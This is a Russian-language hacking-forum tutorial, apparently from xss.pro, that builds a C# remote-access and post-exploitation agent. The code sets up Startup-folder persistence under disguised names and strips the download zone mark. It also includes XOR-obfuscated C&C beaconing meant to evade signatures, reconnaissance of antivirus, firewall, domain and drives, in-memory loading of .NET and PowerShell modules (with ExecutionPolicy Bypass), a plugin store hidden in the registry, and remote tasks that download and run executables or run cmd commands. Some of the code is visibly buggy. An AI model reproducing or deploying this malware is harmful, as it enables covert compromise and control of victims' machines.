Статья Пишем собственный тулкит для точечных атак.

[Paramedic]

Привет всем. Сегодня я покажу вам, как можно грамотно использовать .NET платформу для создания инструмента пост эксплуатации, который позволит полноценно отработать таргет и замести следы.
Думаю, у многих в голове сейчас пронеслась мысль: "А почему для данной задачи выбран именно дотнет?", приведу несколько плюсов:

- Среда CLR предоставляет функционал JIT компиляции, другими словами - компиляции кода на лету.
- MSIL код отлично морфится, и тяжело реверсится.
- Разработка на .NET платформе занимает меньше времени, является более удобной.

Я уверен, что здесь найдутся те, кто начнёт рассказывать о зависимостях от .NET Framework, и прочем. Мы с вами живём в 2019 году, Windows XP отсутствует почти везде, эта операционная система в целом мертва.
Так-же для избежания длинного холивара я хочу подметить, что я не призываю читателей данной статьи спрыгивать на дотнет с нативных ЯП, не пытаюсь показать превосходство дотнета над другими ЯП.
Я считаю, что каждый ЯП должен быть предназначен для конкретного спектра задач, использоваться по назначению. Распределение задач должно быть равномерным и грамотным.

Давайте немного отстранимся от моего монолога и составим список функционала, который мы вложим в наш продукт:

- Стабильное закрепление в системе, относительная сложность деинсталяции неподготовленным юзером.
- Лоадер
- Выполнение CMD команд
- Полноценная модульная система. Поддержка модулей в формате .NET, PowerShell скриптов.

Теперь приступим к кодингу. Создаём проект, тип проекта - консольное приложение. Версию .NET Framework, от которой будет зависеть проект - выбираем на свой вкус. Мне понравилась 3.5.
Проект создан, видим главную функцию - Main. Перед тем, как начать заполнять её контентом - давайте создадим несколько классов, в которых будут лежать воспомогательные функции,
которые понадобятся в процессе. Создаём 2 класса: Config.cs, Utils.cs.

Первый будет содержать конфигурацию, требуемую для корректной работы билда. Адрес C&C, прочие мелочи.
Второй будет хранить в себе набор некатегоризированных функций, которые потребуются для работы агента.

Начнём с заполнения Config.cs:

static public string CnCList = ""; // Список C&C, на которые будет стучать агент, разделяемых при помощи символа ;. Пример: http://command_server1.com/gate.php;https://command_server2.com/gate.php
static public string BuildID = "COMPANY_404"; // Идентификатор билда.
static public string DirectoryName = "FlashUpdater"; // Название директории, в которую будет установлен агент.

Теперь переходим к Utils.cs, начинаем заполнять его. Сперва - подключим юзинги, а далее приступим к реализации функций. Некоторые моменты я буду попутно комментировать:

using System.IO;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
using IWshRuntimeLibrary;

static private Random Rand = new Random();

static private string RandomString(int Count)
{
    string CharList = "abcdefghijklmnopqrstuvwxyz";
    char[] NewString = new char[Count];

    for (int i = 0; i < Count; i++)
    {
        NewString[i] = CharList[Rand.Next(CharList.Length)];
    }

    return new string(NewString);
}

static public string RandomProcessName()
{
    string ProcessName = "";

    try
    {
        Process[] ProcessList = Process.GetProcesses();
        List<string> ProcessNameList = new List<string>();

        foreach (Process Proc in ProcessList)
        {
            try
            {
                string ProcessFilePath = Process.MainModule.FileName;

                if (!ProcessFilePath.Contains("Windows") && !ProcessFilePath.Contains("ProgramData"))
                {
                    ProcessNameList.Add(Proc.ProcessName);
                }
            }
            catch {}
        }

        ProcessName = ProcesNameList[Rand.Next(ProcessNameList.Count)];
    }
    catch
    {
        ProcessName = RandomString(7);
    }

    return ProcessName + ".exe";
}

Далее мы реализуем функционал для удаления альтернативного потока ZoneID у дропнутого файла. Для этого мы будем использовать COM интерфейс IZoneIdentifier, предоставляющий такой функционал.
Дабы не тратить время зря, код мы возьмем отсюда и приведя его в нормальный вид вставим:

        public enum URLZONE
        {
            INVALID = -1,
            PREDEFINED_MIN = 0,
            LOCAL_MACHINE = 0,
            INTRANET = LOCAL_MACHINE + 1,
            TRUSTED = INTRANET + 1,
            INTERNET = TRUSTED + 1,
            UNTRUSTED = INTERNET + 1,
            PREDEFINED_MAX = 999,
            USER_MIN = 1000,
            USER_MAX = 10000
        }

        public enum STGM : long
        {
            READ = 0x00000000L,
            WRITE = 0x00000001L,
            READWRITE = 0x00000002L,
            SHARE_DENY_NONE = 0x00000040L,
            SHARE_DENY_READ = 0x00000030L,
            SHARE_DENY_WRITE = 0x00000020L,
            SHARE_EXCLUSIVE = 0x00000010L,
            PRIORITY = 0x00040000L,
            CREATE = 0x00001000L,
            CONVERT = 0x00020000L,
            FAILIFTHERE = 0x00000000L,
            DIRECT = 0x00000000L,
            TRANSACTED = 0x00010000L,
            NOSCRATCH = 0x00100000L,
            NOSNAPSHOT = 0x00200000L,
            SIMPLE = 0x08000000L,
            DIRECT_SWMR = 0x00400000L,
            DELETEONRELEASE = 0x04000000L
        }

        [ComImport]
        [Guid("0968e258-16c7-4dba-aa86-462dd61e31a3")]
        public class PersistentZoneIdentifier
        {
        }

        [ComImport]
        [Guid("cd45f185-1b21-48e2-967b-ead743a8914e")]
        [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        public interface IZoneIdentifier //: IUnknown
        {
            int GetId(out URLZONE pdwZone);
            int SetId(URLZONE dwZone);
            int Remove();
        }

        public static void RemoveZoneID(string FilePath)
        {
            IPersistFile PersistFile = null;
            IZoneIdentifier ZoneID = null;
            try
            {
                PersistFile = (IPersistFile)new PersistentZoneIdentifier();
                const int Mode = (int) (STGM.READWRITE | STGM.SHARE_EXCLUSIVE);
                URLZONE Zone;
         
                try
                {
                    PersistFile.Load(FilePath, Mode);
                    ZoneID = (IZoneIdentifier)PersistFile;
                    var getIdResult = ZoneID.GetId(out Zone);
                }
                catch (FileNotFoundException)
                {
                    Zone = URLZONE.LOCAL_MACHINE;
                }
                catch (UnauthorizedAccessException)
                {
                    Zone = URLZONE.INVALID;
                }
                if (Zone == URLZONE.LOCAL_MACHINE || Zone == URLZONE.INVALID)
                {
                    return;
                }

                var removeResult = ZoneID.Remove();

                PersistFile.Save(FilePath, true);
            }
            finally
            {

                if (PersistFile != null)
                {
                    Marshal.ReleaseComObject(PersistFile);
                }

                if (ZoneID != null)
                {
                    Marshal.ReleaseComObject(ZoneID);
                }
            }
        }

Настал момент реализовать персистентность нашему агенту. Она будет довольно простой, метод будет заключаться в том, что мы будем создавать ярлык в авторане, спать рандомное количество времени, и затем дропаться.
Заходим в меню Add References, добавляем Windows Script Host Object Model, пишем функцию для создания ярлыка с рандомным именем, описанием, и иконкой блокнота ( выбор автора ):

        static public void AddToAutorun(string FilePath)
        {
            try
            {
                WshShell Shell = new WshShell();
                string ShortcutPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + RandomString(Rand.Next(4, 16)) + ".lnk";
                IWshShortcut Shortcut = (IWshShortcut)Shell.CreateShortcut(ShortcutPath);
                Shortcut.Description = RandomString(Rand.Next(4, 24));
                Shortcut.TargetPath = FilePath;
                Shortcut.IconLocation = Environment.GetEnvironmentVariable("WINDIR") + "\\notepad.exe";
                Shortcut.Save();
            }
            catch
            {
                throw new Exception("Can't create file shortcut");
            }
        }

Возвращаемся в главную функцию нашей программы, зараннее добавив в Add References System.Windows.Forms, и заполняем её:

            string InstallDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + Config.DirectoryName;

            if (Application.ExecutablePath.Contains(InstallDirectory))
            {
                MessageBox.Show("It works!");
            }
            else
            {
                if (Directory.Exists(InstallDirectory))
                {
                    Environment.Exit(0);
                }

                string InstallPath = InstallDirectory + "\\" + Utils.RandomProcessName();

                try
                {
                    Utils.AddToAutorun(InstallPath);
                    Thread.Sleep(Utils.Rand.Next(6000, 21000));
                    Directory.CreateDirectory(InstallDirectory);
                    File.Copy(Application.ExecutablePath, InstallPath);
                    Utils.RemoveZoneID(InstallPath);
                }
                catch { }

Теперь давайте я расскажу о модели общения с админкой. Я решил не заморачиваться с использованием в качестве C&C различных извращений, по типу гугл диска, сделав простой отстук по http протоколу.
Мы не будем так-же извращаться с протоколом общения с админкой, использоваться будen банальные делимитеры. Траффик будет шифроваться посредством кастомной реализации XOR'a, с использованием рандомного ключа для каджого запроса, а затем крыться base64.
Благодаря этому траффик будет выглядеть полиморфным, и на него нельзя будет поставить чёткую сигнатуру. ( Каждый запрос будет выглядеть уникально. )
Это будет работать за счёт того, что гейту будет передаваться GET параметр k, который будет содержать в себе ключ по которому зашифрована строка.
Приведу небольшой пример реализации:

Есть строка - "hello, xss". Мы шифруем её при помощи XOR'a. Далее - мы конкатенируем её с ключом, длина ключа - статическая, 6 символов, попутно шифруя уже зашифрованную строку этим ключём. Выходит строка: keykeyencrypted ( keykey-ключ, encrypted - данные ), поставь чёткую сигнатуру на тело запроса в таком случае не выйдет.

Перейдём в Utils.cs и напишем функцию для шифрования строк:

        static public string XOR(string StringToEncrypt, string Key)
        {
            string BStringToEncrypt = Convert.ToBase64String(Encoding.Unicode.GetBytes(StringToEncrypt));
            char[] EncryptedString = new char[BStringToEncrypt.Length];

            for (int i = 0; i < BStringToEncrypt.Length; i++)
            {
                EncryptedString[i] = (char)(BStringToEncrypt[i] ^ Key[i % Key.Length]);
            }

            return Convert.ToBase64String(Encoding.Unicode.GetBytes(EncryptedString));
        }

На этом - первая часть данной статьи подходит к концу. В следующих частях мы реализуем сетевой функционал агента, научим его получать информацию об окружении, в котором он запущен, и наконец таки реализуем виртуальную файловую систему в реестре + модульность, прочие мелочи.

Так-же хочу добавить, что админка прилагаться к данному материалу - не будет. Желающие смогут модифицировать данный макет под себя, переписав некоторые аспекты, и затем написав админ панель.

BTC - 3QSPCurAEUxEDAdnpyAd7GgYBw3ZoH3oSM
ETH - 0x6965c8e0830127afa88f23659b8b3e19a2e3d096
© Eternal, специально для xss.pro.

 

[Paramedic]

Продолжаем кодить, как ни странно, начнём мы именно с реализации сети.
Я не буду сейчас рассказывать, как организовать отстук через корпоративный прокси, так как это всего лишь макет, созданный для того, что бы черпать из него идеи.
Сеть будет реализована банально через WebClient из-за его простоты. Приступаем. Создаём класс Network.cs, начинаем его заполнять:

        static public string SendPOST(string URI, string Data)
        {
            try
            {
                using (WebClient WC = new WebClient())
                {
                    string Key = Utils.RandomString(6);
                    string EncryptedString = Convert.ToBase64String(Encoding.Unicode.GetBytes(Utils.XOR(Data, Key)));

                    return Encoding.Unicode.GetString(Convert.FromBase64String(Utils.XOR(WC.UploadString(URI + "?k=" + Key, EncryptedString), Key)));
                }
            }
            catch
            {
                throw new Exception("Can't send POST request to the C&C.");
            }
        }

Тестим, отправляем запрос на локальный сервер с текстом "hello, xss!" два раза, вывод:

1. HAAAAA8ABwAZAEEAVAAdABAAGABXAA==

2. DgAEAAIACAAVAEUARgAZAB0AFwBbAA==

Дешифруем обратно, всё работает. Отлично.

Настало время реализовать получение информации об окружении, в котором наш агент был запущен. Создаём новый класс - SystemInfo.cs.
Вновь заходим в Add References -> добавляем System.Management, соответственно добавляем его в юзинги.
System.Management предоставит нам функционал для коммуникации с WMI. Собственно, давайте упорядочим обьём информации, которую мы будем собирать:

1. HWID
2. Название ПК.
3. Название УЗ пользователя.
4. Название ОС.
5. Разрядность ОС.
6. Антивирус.
7. Файрволл.
8. Название домена, в который входит машина.
9. Список дисков и информация о них.
10. Список подключённых сетевых дисков.

Приступаем к реализации:

        static public string GetHWID()
        {
            string HWID = "";

            try
            {
                HWID = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Cryptography").GetValue("MachineGuid").ToString().Replace("-", "").ToUpper().Substring(0, 8);
            }
            catch
            {
                using (ManagementObjectSearcher Searcher = new ManagementObjectSearcher("SELECT VolumeSerialNumber FROM Win32_LogicalDisk WHERE Caption = \"" + Environment.GetEnvironmentVariable("HOMEDRIVE") + "\""))
                {
                    using (ManagementObjectCollection Collection = Searcher.Get())
                    {
                        foreach (ManagementObject Obj in Collection)
                        {
                            HWID = Obj["VolumeSerialNumber"].ToString();
                            break;
                        }
                    }
                }
            }

            return HWID;
        }

        // -------------------------------
        // ===============================
        // ===============================
        // -------------------------------

        static public string GetOS()
        {
            string OS = "";

            try
            {
                OS = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion").GetValue("ProductName").ToString();
            }
            catch
            {
                using (ManagementObjectSearcher Searcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem"))
                {
                    using (ManagementObjectCollection Collection = Searcher.Get())
                    {
                        foreach (ManagementObject Object in Collection)
                        {
                            OS = Object["Caption"].ToString();
                            break;
                        }
                    }
                }
            }

            return OS;
        }

        // -------------------------------
        // ===============================
        // ===============================
        // -------------------------------

        static public string GetArch()
        {
            string Arch = "";

            if (File.Exists(Environment.GetEnvironmentVariable("WINDIR") + "\\SysWOW64"))
            {
                Arch = "x64";
            }

            Arch = "x32";

            return Arch;
        }

        // -------------------------------
        // ===============================
        // ===============================
        // -------------------------------

        static public string GetAV()
        {
            string AV = "None";

            try
            {
                using (ManagementObjectSearcher Searcher = new ManagementObjectSearcher("ROOT\\SecurityCenter2", "SELECT displayName FROM AntivirusProduct"))
                {
                    using (ManagementObjectCollection Collection = Searcher.Get())
                    {
                        foreach (ManagementObject Object in Collection)
                        {
                            string ObjectString = Object["displayName"].ToString();

                            if (ObjectString.Length != 0)
                            {
                                AV = ObjectString;
                            }

                            break;
                        }
                    }
                }
            }
            catch { }

            return AV;
        }

        // -------------------------------
        // ===============================
        // ===============================
        // -------------------------------

        static public string GetFW()
        {
            string FW = "None";

            try
            {
                using (ManagementObjectSearcher Searcher = new ManagementObjectSearcher("ROOT\\SecurityCenter2", "SELECT displayName FROM FirewallProduct"))
                {
                    using (ManagementObjectCollection Collection = Searcher.Get())
                    {
                        foreach (ManagementObject Object in Collection)
                        {
                            string ObjectString = Object["displayName"].ToString();

                            if (ObjectString.Length != 0)
                            {
                                FW = ObjectString;
                            }

                            break;
                        }
                    }
                }
            }
            catch { }

            return FW;
        }

        // -------------------------------
        // ===============================
        // ===============================
        // -------------------------------

        static public string GetDomain()
        {
            string Domain = Environment.UserDomainName;

            if (Domain.Length == 0)
            {
                Domain = "None";
            }

            return Domain;
        }

        // -------------------------------
        // ===============================
        // ===============================
        // -------------------------------

        static public string GetDrives()
        {
            string DriveList = "";

            try
            {
                using (ManagementObjectSearcher Searcher = new ManagementObjectSearcher("SELECT * FROM Win32_LogicalDisk"))
                {
                    using (ManagementObjectCollection Collection = Searcher.Get())
                    {
                        foreach (ManagementObject Obj in Collection)
                        {
                            string Caption = Obj["Caption"].ToString();
                            string VolumeSerialNumber = Obj["VolumeSerialNumber"].ToString();
                     
                            DriveList += string.Format("|{0}-{1}-{2}|", Obj["Caption"], Obj["VolumeSerialNumber"], Obj["Description"]);
                        }
                    }
                }
            }
            catch { }

            if (DriveList.Length == 0)
            {
                DriveList = "None";
            }

            return DriveList;
        }

        // -------------------------------
        // ===============================
        // ===============================
        // -------------------------------

        static public string GetMappedNetworkDrives()
        {
            string DriveList = "";

            try
            {
                using (ManagementObjectSearcher Searcher = new ManagementObjectSearcher("SELECT * FROM Win32_LogicalDisk WHERE DriveType = 4"))
                {
                    using (ManagementObjectCollection Collection = Searcher.Get())
                    {
                        foreach (ManagementObject Obj in Collection)
                        {
                            DriveList += string.Format("|{0}|", Obj["ProviderName"].ToString());
                        }
                    }
                }
            }
            catch {}

            if (DriveList.Length == 0)
            {
                DriveList = "None";
            }

            return DriveList;
        }

Перед тем, как перейти к файловой системе - напишем функции для погрузки плагинов из неё в память. Создаём класс ModuleLoader.cs, добавляем:

using System.Reflection;

Реализуем функции:

        static public void LoadNETModule(byte[] Data)
        {
            try
            {
                Assembly Asm = Assembly.Load(Data);
                MethodInfo MI = Asm.EntryPoint;
                MI.Invoke(Asm.CreateInstance(MI.Name), null);
            }
            catch { }
        }

        // -------------------------------
        // ===============================
        // ===============================
        // -------------------------------

        static public void LoadPSHModule(byte[] Data)
        {
            try
            {
                string Command = Encoding.Unicode.GetString(Data);
                Process.Start("powershell.exe", string.Format("-ExecutionPolicy Bypass -command \"{0}\"", Command, ProcessWindowStyle.Hidden));
            }
            catch { }
        }

        // -------------------------------
        // ===============================
        // ===============================
        // -------------------------------

        void LoadNativeModule(byte[] Data)
        {
            // ...
        }

После нескольких бессонных ночей ( на момент написания данной статьи ) у меня не было желания реализации маппера нативных длл, поэтому я возлагаю эту задачу на вас, дорогие читатели.
* В рамках статьи модули не будут шифроваться, реализация этого остаётся на ваших плечах.


Теперь создадим класс - FileSystem.cs, он будет отвечать за коммуникацию с ВФС, которая будет находиться в реестре.
ВФС будет работать следующим образом:

В реестре, по пути HKCU\Software\Microsoft\Windows\{HWID} - создаётся ключ. Для каждого плагина, выдаваемого админкой - мы будем создавать отдельный подключ.
Там в зашифрованном виде будут лежать тело и конфиг плагина. Агент при каждом запуске будет грузить плагины с ВФС напрямую к себе в память.
* По легенде, при каждом запуске агент стучит на сервер данными формата {HWID};GetPlugins, и в ответ получает инфу типа: PluginName|PluginLink|PluginType.

Начинаем:

        string PluginPath = "Software\\Microsoft\\Windows\\" + SystemInfo.GetHWID();

        void CreateFileSystem()
        {
            try
            {
                Registry.CurrentUser.CreateSubKey(PluginPath);
            }
            catch
            {
                throw new Exception("Can't create virtual file system!");
            }
        }

        // -------------------------------
        // ===============================
        // ===============================
        // -------------------------------

        void LoadPlugins()
        {
            try
            {
                string[] SubKeyList = Registry.CurrentUser.OpenSubKey(PluginPath).GetSubKeyNames();

                foreach (string SubKey in SubKeyList)
                {
                    byte[] PluginData = (byte[])Registry.CurrentUser.OpenSubKey(PluginPath).GetValue("plug");
                    string Type = Registry.CurrentUser.OpenSubKey(PluginPath).GetValue("type").ToString();

                    if (Type == "psh")
                    {
                        ModuleLoader.LoadPSHModule(PluginData);
                    }
                    else if(Type == "net")
                    {
                        ModuleLoader.LoadNETModule(PluginData);
                    }
                    else if(Type == "native")
                    {
                        // ....
                    }

                }
            }
            catch { }
        }

        // -------------------------------
        // ===============================
        // ===============================
        // -------------------------------

        void InstallPlugins(string GatePath, string HWID)
        {
            try
            {
                string Request = string.Format("{0};GetPlugins", HWID);
                string PluginList = Network.SendPOST(GatePath, Request);
                int PluginCount = Utils.GetSymbolCount(PluginList, ';') + 1;
                string[] PluginInfo = PluginList.Split(';');

                for (int i = 0; i < PluginCount; i++)
                {
                    string CurrentPluginInfo = PluginInfo[i];
                    string PluginName = CurrentPluginInfo.Split('|')[0];
                    string PluginLink = CurrentPluginInfo.Split('|')[1]; // Ссылка на плагин.
                    string PluginType = CurrentPluginInfo.Split('|')[2]; // Тип плагина: net / native / psh.

                    try
                    {
                        RegistryKey Key = Registry.CurrentUser.OpenSubKey(PluginPath).CreateSubKey(PluginName);
                        Key.SetValue("plug", Network.DownloadFile(PluginLink));
                        Key.SetValue("type", PluginType);
                    }
                    catch { }

                }

            }
            catch { }
        }

Всё готово. Осталось дозаполнить функцию Main, сделав логику связи с админкой:

        static void Main(string[] args)
        {
            string InstallDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + Config.DirectoryName;
            string HWID = SystemInfo.GetHWID();
            string ControlPanel = Network.GetWorkingCnC();

            if (Application.ExecutablePath.Contains(InstallDirectory))
            {
                string GetTasks = HWID + ";GetTasks";

                FileSystem.InstallPlugins(ControlPanel, HWID);
                FileSystem.LoadPlugins();

                while (true)
                {
                    string Task = Network.SendPOST(ControlPanel, GetTasks);

                    if (!Task.Equals("None"))
                    {
                        string TaskID = Task.Split(';')[0];
                        string Type = Task.Split(';')[1];
                        string Param = Task.Split(';')[2];

                        if (Type == "dlfile")
                        {
                            byte[] Data = Network.DownloadFile(Param);

                            if (Data.Length != 0)
                            {
                                string DownloadPath = Environment.GetEnvironmentVariable("TEMP") + "\\" + Path.GetRandomFileName() + ".exe";
                                File.WriteAllBytes(DownloadPath, Data);
                                Process.Start(DownloadPath);
                            }
                        }
                        else if(Type == "cmd")
                        {
                            Process.Start("cmd.exe", "/c " + Param);
                        }

                        Thread.Sleep(60000);
                    }

                }

            }
            else
            {
                if (Directory.Exists(InstallDirectory))
                {
                    Environment.Exit(0);
                }

                string InstallPath = InstallDirectory + "\\" + Utils.RandomProcessName();

                MessageBox.Show(SystemInfo.GetDrives());
                Environment.Exit(0);

                try
                {
                    Utils.AddToAutorun(InstallPath);
                    Thread.Sleep(Utils.Rand.Next(6000, 21000));
                    Directory.CreateDirectory(InstallDirectory);
                    File.Copy(Application.ExecutablePath, InstallPath);
                    Utils.RemoveZoneID(InstallPath);
                    FileSystem.CreateFileSystem();
                    string FirstKnock = String.Format("{0};{1};{2};{3};{4};{5};{6};{7};{8};{9};{10}", HWID, Environment.MachineName, Environment.UserName, SystemInfo.GetOS(), SystemInfo.GetArch(), SystemInfo.GetAV(), SystemInfo.GetFW(), SystemInfo.GetDomain(), SystemInfo.GetDrives(), SystemInfo.GetMappedNetworkDrives());
                    Network.SendPOST(ControlPanel, FirstKnock);
                }
                catch { }
            }

        }

Надеюсь, кто-то смог найти в этой статье для себя что-то интересное. Данный макет нельзя пустить в работу как минимум потому, что он требует серьезных доработок. Вышевыложенные куски кода были моей попыткой ( скорее всего - не самой удачной ) - написать что-то на шарпе. Шарп не является моим основным ЯП, поэтому прошу не судить строго.

 

[Paramedic]

Друзья, прошу всех, кого смогли заинтересовать мои идеи / сниппеты кода из этой статьи - проголосовать в конкурсе!